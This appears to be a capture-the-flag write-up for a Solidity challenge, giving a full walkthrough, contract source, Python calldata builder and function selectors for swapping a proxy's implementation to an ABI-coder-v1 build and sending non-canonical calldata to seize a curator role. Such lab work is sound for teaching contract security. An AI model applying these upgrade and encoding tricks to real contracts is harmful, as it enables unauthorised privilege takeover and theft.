The proxy starts on an IllusionHouse implementation compiled with ABI coder v2. The admit function requires a non-canonical address encoding, but ABI decoder v2 rejects non-canonical encodings before the function body runs. So admit can never succeed on the initial implementation. The proxy has a one-time reframe that allows switching to a bytecode-hash allowlisted implementation. Deploy an allowlisted build (Solc 0.8.28, EVM Shanghai, optimizer OFF, pragma abicoder v1) so non-canonical address padding is accepted. Reframe once, then call admit with crafted calldata, then appointCurator.
Setup deploys IllusionHouse then wraps it in MirrorProxy and initializes with curator = address(this).MirrorProxy has one-time reframe guarded by a bytecode hash allowlist (ALLOWED_CODEHASH).IllusionHouse.admit expects a non-canonical ABI payload and checks raw msg.data.admit checks:
msg.data.length == 4 + 96 (fixed 100 bytes)uint256(bytes32(msg.data[36:68])) == 0x20 (offset word must be 0x20)patronWord >> 160 != 0 (address word must have non-zero high 96 bits)But ABI coder v2 rejects non-canonical address padding before any of those checks. So you must switch to an ABI-v1 compiled implementation where the decoder does not enforce address padding.
1) Deploy allowlisted implementation (Solc 0.8.28, EVM Shanghai, optimizer OFF, pragma abicoder v1).
2) Call reframe(newImplementation) on the proxy (one time).
3) Call admit using crafted calldata (100 bytes total).
4) Call appointCurator(yourEOA).
5) Verify isSolved().
Use this exact header and code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
pragma abicoder v1;
contract IllusionHouse {
enum Role { Visitor, Curator }
mapping(address => Role) public roles;
mapping(address => uint96) public maskRank;
mapping(address => bool) public admitted;
bool public opened;
bytes32 public constant SIGIL_PREIMAGE = bytes32("0xAnan or Tensai?");
bytes32 public constant SIGIL_HASH = keccak256(abi.encodePacked(SIGIL_PREIMAGE));
constructor() payable {}
function initialize(address curator) external payable {
require(!opened, "opened");
opened = true;
roles[address(this)] = Role.Curator;
admitted[address(this)] = true;
}
function admit(address patron, bytes calldata sigil) external {
require(!admitted[msg.sender], "already admitted");
require(msg.data.length == 4 + 96, "invalid sigil payload");
require(uint256(bytes32(msg.data[36:68])) == 0x20, "invalid sigil offset");
uint256 patronWord = uint256(bytes32(msg.data[4:36]));
require(patronWord >> 160 != 0, "invalid patron encoding");
require(roles[patron] == Role.Curator, "invalid patron");
require(sigil.length == 32, "invalid sigil length");
require(keccak256(sigil) == SIGIL_HASH, "invalid sigil");
bytes32 sigilWord = abi.decode(sigil, (bytes32));
uint96 rank = uint96(uint256(sigilWord) >> 160);
admitted[msg.sender] = true;
roles[msg.sender] = Role.Visitor;
if (rank > 0) maskRank[msg.sender] = rank;
}
function appointCurator(address newCurator) external {
require(maskRank[msg.sender] > 0, "not masked");
roles[newCurator] = Role.Curator;
admitted[newCurator] = true;
}
}
Remix settings:
Deploy to Sepolia and record the new implementation address.
Call reframe(address) on the proxy (house). You can use a minimal interface:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IMirrorProxy {
function reframe(address newImplementation) external;
}
In Remix:
At Address with the proxy (house) addressreframe(newImplementation) onceThe function demands a 100-byte payload, where the offset word equals 0x20 and the patron word has non-zero high 96 bits.
admit(address,bytes) selector: 0xf5b1e981"0xAnan or Tensai?" right-padded with zeros to 32 bytes.Example layout:
0xf5b1e981 | PATRON_WORD | 0x20 | SIGIL_BYTES32
Where:
PATRON_WORD = non-zero 12 bytes + 20-byte proxy addressSIGIL_BYTES32 = 0x3078416e616e206f722054656e7361693f000000000000000000000000000000Python helper:
from Crypto.Hash import keccak
def k4(sig):
k = keccak.new(digest_bits=256); k.update(sig.encode()); return k.digest()[:4].hex()
proxy = "0x<proxy>"
selector = k4("admit(address,bytes)")
patron_word = "11"*12 + proxy[2:].lower()
offset = "00"*31 + "20"
sigil = b"0xAnan or Tensai?".ljust(32, b"\x00").hex()
admit_data = "0x" + selector + patron_word + offset + sigil
print(admit_data)
Send a tx to the proxy with:
to = proxy addressvalue = 0gas = ~200kdata = crafted admit_dataThen call:
appointCurator(yourEOA)
Selector: 0x95b2c1f9
Data:
0x95b2c1f9 + <your EOA padded to 32 bytes>
Use the UI �Check Solution� or call Setup.isSolved().
reframe, so if you deploy the wrong build, you must reset the instance.admit fails with low gas, raise the gas limit to ~200k.